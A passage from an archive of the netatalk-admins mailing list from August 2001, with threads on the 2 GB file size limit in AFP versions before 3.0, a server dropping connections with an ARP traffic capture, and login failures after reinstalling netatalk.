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
z8Pz8Dw8D8/D8/A8PA/Pw/O7P/8Hf0l1mQCgAAA=
---559023410-851401618-997745841=:23711--

From netatalk.administrators-errors@umich.edu  Mon Aug 13 20:52:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA21114
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 13 Aug 2001 20:52:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA22950
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 13 Aug 2001 20:52:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA22927
	for netatalk.administrators-members@umich.edu; Mon, 13 Aug 2001 20:52:57 -0400 (EDT)
Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA22870
	for <netatalk-admins@umich.edu>; Mon, 13 Aug 2001 20:52:56 -0400 (EDT)
Received: from apple.con (A17-128-100-225.apple.com [17.128.100.225])
	by mail-out2.apple.com (8.9.3/8.9.3) with ESMTP id RAA00122
	for <netatalk-admins@umich.edu>; Mon, 13 Aug 2001 17:52:55 -0700 (PDT)
Received: from scv1.apple.com (scv1.apple.com) by apple.con
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T5559750fdc118064e13a0@apple.con>;
 Mon, 13 Aug 2001 17:51:04 +0100
Received: from wallle (wallle.apple.com [17.221.40.211])
	by scv1.apple.com (8.9.3/8.9.3) with ESMTP id RAA08647;
	Mon, 13 Aug 2001 17:52:53 -0700 (PDT)
Date: Mon, 13 Aug 2001 17:58:19 -0700
Subject: Re: Filesize limit
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v458)
Cc: Leland Wallace <randall@apple.com>, netatalk-admins@umich.edu
To: Frank Joerdens <frank@joerdens.de>
From: Leland Wallace <randall@apple.com>
In-Reply-To: <20010812200017.A30112@rakete.joerdens.de>
Message-Id: <73BB8FCF-904F-11D5-9256-000A279495A2@apple.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.458)

AFP versions prior to 3.0 use a signed 32 bit int to represent offsets 
into
files for reading or writing. This gives those versions a filesize limit 
of 2 Gig.

AFP 3.0 provides a signed 64-bit offset, which should last us for a 
while.

Mac OS X has an AppleShare Client that speaks AFP 3.0.

Hope this helps
Leland

On Sunday, August 12, 2001, at 11:00 AM, Frank Joerdens wrote:

> Is there a filesize limit built into netatalk? I am wondering cuz I am
> trying to build a fileserver that supports files > 2GB. Initially I
> thought it was a filesystem problem cuz some versions of Linux in
> combination with certain kernels and glibc versions and filesystems
> (e.g. Reiser <= 3.5) don't support files > 2GB. However, I am using SuSE
> 7.0 with kernel 2.2.16 and ext2 which _does_ allow files > 2 GB (just
> created a tar archive with 10). Trying to copy a file > 2 GB from a Mac,
> however results in an error (-40 I think it was).
>
> This was using the version
>
> netatalk-1.4b2+asun2.1.3-130
>
> Does anyone have the latest and greatest news on this issue?
>
> Ta, Frank
>

+-----------------------------------------------------------------------------------
Leland Wallace           Working in            AppleShare Engineering
randall@apple.com    but not speaking for      Apple Computer Inc.
http://www2.inow.com/~randall
+-----------------------------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Tue Aug 14 06:19:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA12217
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 14 Aug 2001 06:19:26 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA10517
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 14 Aug 2001 06:19:11 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA10509
	for netatalk.administrators-members@umich.edu; Tue, 14 Aug 2001 06:19:10 -0400 (EDT)
Received: from rakete.joerdens.de ([62.104.116.221])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA10476
	for <netatalk-admins@umich.edu>; Tue, 14 Aug 2001 06:19:09 -0400 (EDT)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id MAA04946;
	Tue, 14 Aug 2001 12:19:20 +0200
Date: Tue, 14 Aug 2001 12:19:20 +0200
From: Frank Joerdens <frank@joerdens.de>
To: Leland Wallace <randall@apple.com>
Cc: netatalk-admins@umich.edu
Subject: Re: Filesize limit
Message-ID: <20010814121920.A4927@rakete.joerdens.de>
References: <20010812200017.A30112@rakete.joerdens.de> <73BB8FCF-904F-11D5-9256-000A279495A2@apple.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <73BB8FCF-904F-11D5-9256-000A279495A2@apple.com>; from randall@apple.com on Mon, Aug 13, 2001 at 05:58:19PM -0700
X-Subliminal-Message: Use Linux! Use Linux!

On Mon, Aug 13, 2001 at 05:58:19PM -0700, Leland Wallace wrote:
> AFP versions prior to 3.0 use a signed 32 bit int to represent offsets 
> into
> files for reading or writing. This gives those versions a filesize limit 
> of 2 Gig.
> 
> AFP 3.0 provides a signed 64-bit offset, which should last us for a 
> while.
> 
> Mac OS X has an AppleShare Client that speaks AFP 3.0.

Would netatalk speak AFP 3.0? In other words, if I were using OS X (I
must confess that I did not try that), I could read and write files >
2GB from a netatalk server?

Regards, Frank

From netatalk.administrators-errors@umich.edu  Tue Aug 14 14:22:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA03805
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 14 Aug 2001 14:22:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA27960
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 14 Aug 2001 14:22:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27943
	for netatalk.administrators-members@umich.edu; Tue, 14 Aug 2001 14:22:56 -0400 (EDT)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA27903
	for <netatalk-admins@umich.edu>; Tue, 14 Aug 2001 14:22:54 -0400 (EDT)
Received: from apple.com (A17-129-100-225.apple.com [17.129.100.225])
	by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id LAA23693
	for <netatalk-admins@umich.edu>; Tue, 14 Aug 2001 11:22:54 -0700 (PDT)
Received: from scv2.apple.com (scv2.apple.com) by apple.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T555d380963118164e1418@apple.com>;
 Tue, 14 Aug 2001 11:22:53 -0700
Received: from wallle (wallle.apple.com [17.221.40.211])
	by scv2.apple.com (8.11.3/8.11.3) with ESMTP id f7EIMqw02301;
	Tue, 14 Aug 2001 11:22:52 -0700 (PDT)
Date: Tue, 14 Aug 2001 11:28:18 -0700
Subject: Re: Filesize limit
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v458)
Cc: Leland Wallace <randall@apple.com>, netatalk-admins@umich.edu
To: Frank Joerdens <frank@joerdens.de>
From: Leland Wallace <randall@apple.com>
In-Reply-To: <20010814121920.A4927@rakete.joerdens.de>
Message-Id: <21DB48C4-90E2-11D5-81E4-000A279495A2@apple.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.458)

I believe that AFP 3.0 support is something that is being worked on
within the netatalk developer community, I don't know how far
along it is.  As for wether or not your version has support for AFP 3.0,
I'd look at the docs  (or the source for s definitive answer).
We often copy large files to and from Mac OS X servers/clients during
our testing.

Hope this helps
Leland

On Tuesday, August 14, 2001, at 03:19 AM, Frank Joerdens wrote:

> On Mon, Aug 13, 2001 at 05:58:19PM -0700, Leland Wallace wrote:
>> AFP versions prior to 3.0 use a signed 32 bit int to represent offsets
>> into
>> files for reading or writing. This gives those versions a filesize 
>> limit
>> of 2 Gig.
>>
>> AFP 3.0 provides a signed 64-bit offset, which should last us for a
>> while.
>>
>> Mac OS X has an AppleShare Client that speaks AFP 3.0.
>
> Would netatalk speak AFP 3.0? In other words, if I were using OS X (I
> must confess that I did not try that), I could read and write files >
> 2GB from a netatalk server?
>
> Regards, Frank

+-----------------------------------------------------------------------------------
Leland Wallace           Working in            AppleShare Engineering
randall@apple.com    but not speaking for      Apple Computer Inc.
http://www2.inow.com/~randall
+-----------------------------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Tue Aug 14 17:34:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA14494
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 14 Aug 2001 17:34:13 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA17418
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 14 Aug 2001 17:34:13 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA17409
	for netatalk.administrators-members@umich.edu; Tue, 14 Aug 2001 17:34:12 -0400 (EDT)
Received: from mailout04.sul.t-online.de (mailout04.sul.t-online.com [194.25.134.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA17378
	for <netatalk-admins@umich.edu>; Tue, 14 Aug 2001 17:34:10 -0400 (EDT)
Received: from fwd04.sul.t-online.de 
	by mailout04.sul.t-online.de with smtp 
	id 15WlpB-0000OO-08; Tue, 14 Aug 2001 23:34:09 +0200
Received: from starbase.koch.de (520057542055-0001@[217.5.88.238]) by fmrl04.sul.t-online.com
	with esmtp id 15Wlp7-1zzPFoC; Tue, 14 Aug 2001 23:34:05 +0200
Received: from vulcan (vulcan.koch.de [192.168.1.11])
	by starbase.koch.de (8.11.0/8.11.0/SuSE Linux 8.11.0-0.4) with SMTP id f7ELXwX20236
	for <netatalk-admins@umich.edu>; Tue, 14 Aug 2001 23:34:05 +0200
X-Authentication-Warning: starbase.koch.de: Host vulcan.koch.de [192.168.1.11] claimed to be vulcan
From: "Markus Koch" <koch@mpiib-berlin.mpg.de>
To: <netatalk-admins@umich.edu>
Subject: network connections are suddenly dropped (arp problem)? 
Date: Tue, 14 Aug 2001 23:33:58 +0200
Message-ID: <ELEEKGAGFFNGOEHDIHKDIECMCAAA.koch@mpiib-berlin.mpg.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal
X-Sender: 520057542055-0001@t-dialin.net

Hi

One of my servers (PII400/440BX/Intel EtherexpressPro and SCSI on board /
2.2.16-RAID) suddenly drops all connections to it (appletalk and samba). The
server is not even reachable by pings and all afpd's time out. This persists
for 1 to 5 min and then everything is fine again. After reading around I
found that the eepro driver is buggy in this kernel version. I got the
newest intel driver e100 compiled it and installed it as a module, I made
sure it is loaded at boot time (lsmod). At first this seemed to solve the
problem but it turns out the the problem persists although less often. I
sniffed all broadcast and server specific traffic from a second linux
computer within the same network (logs are attached). It looks to me as if
the server suddenly forgets all arp entries and sends out arp requests. The
weird thing is, that he does not seem to recognize the arp answers but keeps
on asking.
Is this a known problem even with the new intel etherexpress pro driver and
appletalk ? Is there any possibility to solve it?

thanks

markus

sniffed from 192.168.1.1
(server in question is 192.168.1.2  192.168.1.104 is a win95 that is active
but does not answer)

159447 16:58:38.2394 00:e0:18:90:57:31 -> 00:05:02:e1:a9:5b ARP Who has
192.168.1.120?  Tell 192.168.1.2
159448 16:58:38.2398 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159450 16:58:39.2395 00:e0:18:90:57:31 -> 00:05:02:e1:a9:5b ARP Who has
192.168.1.120?  Tell 192.168.1.2
159451 16:58:39.2398 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159452 16:58:40.2396 00:e0:18:90:57:31 -> 00:05:02:e1:a9:5b ARP Who has
192.168.1.120?  Tell 192.168.1.2
159453 16:58:40.2399 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159454 16:58:41.2396 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.120?  Tell 192.168.1.2
159455 16:58:41.2399 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159457 16:58:42.2397 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.120?  Tell 192.168.1.2
159458 16:58:42.2400 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159459 16:58:43.2398 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.120?  Tell 192.168.1.2
159460 16:58:43.2400 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159461 16:58:43.7198 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.105?  Tell 192.168.1.2
159462 16:58:43.7209 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
is at 08:00:07:d7:be:26
159463 16:58:44.7199 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.105?  Tell 192.168.1.2
159464 16:58:44.7209 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
is at 08:00:07:d7:be:26
159466 16:58:45.7199 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.105?  Tell 192.168.1.2
159467 16:58:45.7210 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
is at 08:00:07:d7:be:26
159468 16:58:45.9900 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.122?  Tell 192.168.1.2
159469 16:58:46.0084 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
192.168.1.122 is at 00:0a:27:b6:0d:5c
159471 16:58:46.9900 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.122?  Tell 192.168.1.2
159472 16:58:46.9902 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
192.168.1.122 is at 00:0a:27:b6:0d:5c
1159475 16:58:47.9901 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.122?  Tell 192.168.1.2
159476 16:58:47.9903 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
192.168.1.122 is at 00:0a:27:b6:0d:5c159574
(snipped)
159579 17:01:03.2613 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.1?  Tell 192.168.1.2
159580 17:01:03.2614 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
is at 00:30:84:0b:27:c3
159581 17:01:03.7204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.104?  Tell 192.168.1.1
159582 17:01:04.2592 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.1?  Tell 192.168.1.2
159583 17:01:04.2593 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
is at 00:30:84:0b:27:c3
159584 17:01:05.2593 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.1?  Tell 192.168.1.2
159585 17:01:05.2593 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
is at 00:30:84:0b:27:c3
159586 17:01:06.8494 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.120?  Tell 192.168.1.2
159587 17:01:06.8497 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159588 17:01:07.8495 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.120?  Tell 192.168.1.2
159589 17:01:07.8497 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159590 17:01:08.2204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.104?  Tell 192.168.1.1
159591 17:01:08.8495 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.120?  Tell 192.168.1.2
159592 17:01:08.8498 00:05:02:e1:a9:5b -> 00:e0:18:90:57:31 ARP
192.168.1.120 is at 00:05:02:e1:a9:5b
159593 17:01:09.2204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.104?  Tell 192.168.1.1
159594 17:01:10.2204 00:30:84:0b:27:c3 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.104?  Tell 192.168.1.1
159595 17:01:13.2681 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.1?  Tell 192.168.1.2
159596 17:01:13.2682 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
is at 00:30:84:0b:27:c3
159597 17:01:14.2599 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.1?  Tell 192.168.1.2
159598 17:01:14.2599 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
is at 00:30:84:0b:27:c3
159599 17:01:15.2599 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.1?  Tell 192.168.1.2
159600 17:01:15.2600 00:30:84:0b:27:c3 -> 00:e0:18:90:57:31 ARP 192.168.1.1
is at 00:30:84:0b:27:c3
159601 17:01:16.6801 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.104?  Tell 192.168.1.2
159602 17:01:17.3301 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.105?  Tell 192.168.1.2
159603 17:01:17.3311 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
is at 08:00:07:d7:be:26
159604 17:01:17.6801 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.104?  Tell 192.168.1.2
159605 17:01:18.3302 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.105?  Tell 192.168.1.2
159606 17:01:18.3312 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
is at 08:00:07:d7:be:26
159607 17:01:18.6802 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.104?  Tell 192.168.1.2
159608 17:01:19.3302 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.105?  Tell 192.168.1.2
159609 17:01:19.3313 Apple_d7:be:26 -> 00:e0:18:90:57:31 ARP 192.168.1.105
is at 08:00:07:d7:be:26
159610 17:01:19.6003 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.122?  Tell 192.168.1.2
159611 17:01:19.6005 00:0a:27:b6:0d:5c -> 00:e0:18:90:57:31 ARP
192.168.1.122 is at 00:0a:27:b6:0d:5c
159612 17:01:20.6003 00:e0:18:90:57:31 -> ff:ff:ff:ff:ff:ff ARP Who has
192.168.1.122?  Tell 192.168.1.2


ifconfig
eth0      Link encap:Ethernet  HWaddr 00:E0:18:90:57:31
          inet addr:192.168.1.2  Bcast:192.168.1.255  Mask:255.255.255.0
          EtherTalk Phase 2 addr:65280/94
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:349589 errors:0 dropped:0 overruns:0 frame:0
          TX packets:208378 errors:0 dropped:0 overruns:0 carrier:0
          collisions:132288


From netatalk.administrators-errors@umich.edu  Wed Aug 15 05:21:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA14197
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 15 Aug 2001 05:21:21 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA15953
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 15 Aug 2001 05:21:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA15936
	for netatalk.administrators-members@umich.edu; Wed, 15 Aug 2001 05:21:06 -0400 (EDT)
Received: from nvsvr1.nventure.com ([208.186.47.134])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA15922
	for <netatalk-admins@umich.edu>; Wed, 15 Aug 2001 05:21:05 -0400 (EDT)
Received: from [10.0.0.2] ([131.191.9.16]) by nvsvr1.nventure.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-71717U2600L300S0V35)
          with ESMTP id com for <netatalk-admins@umich.edu>;
          Wed, 15 Aug 2001 02:23:08 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Wed, 15 Aug 2001 02:21:09 -0700
Subject: Incorrect password?
From: xris <xris@mac.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B79F8D14.94E6%xris@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Greetings all..  New to the list...

Anyway, I recently lost my linux drive due to a machine upgrade, and when I
reinstalled netatalk (upgrading to the latest prerelease), I am for some
reason unable to log in.  everything SEEMS to be working fine, and I can
connect as guest (granted, there are no guest-accessible volumes), but
whenever I try to connect as an existing user, I get an "incorrect password"
error.  I'm pretty sure I got all of the compile options correct
(--with-shadow, etc), and have essentially the same config files as so what
should I do next?

For reference, my compile options:

./configure --disable-ddp --enable-lastdid --with-tcp-wrappers --with-shadow
            --with-uams-path=/etc/atalk/uams --sysconfdir=/etc/atalk

Thanks,

Chris


From netatalk.administrators-errors@umich.edu  Wed Aug 15 05:34:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA14488
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 15 Aug 2001 05:34:05 -0400 (EDT)
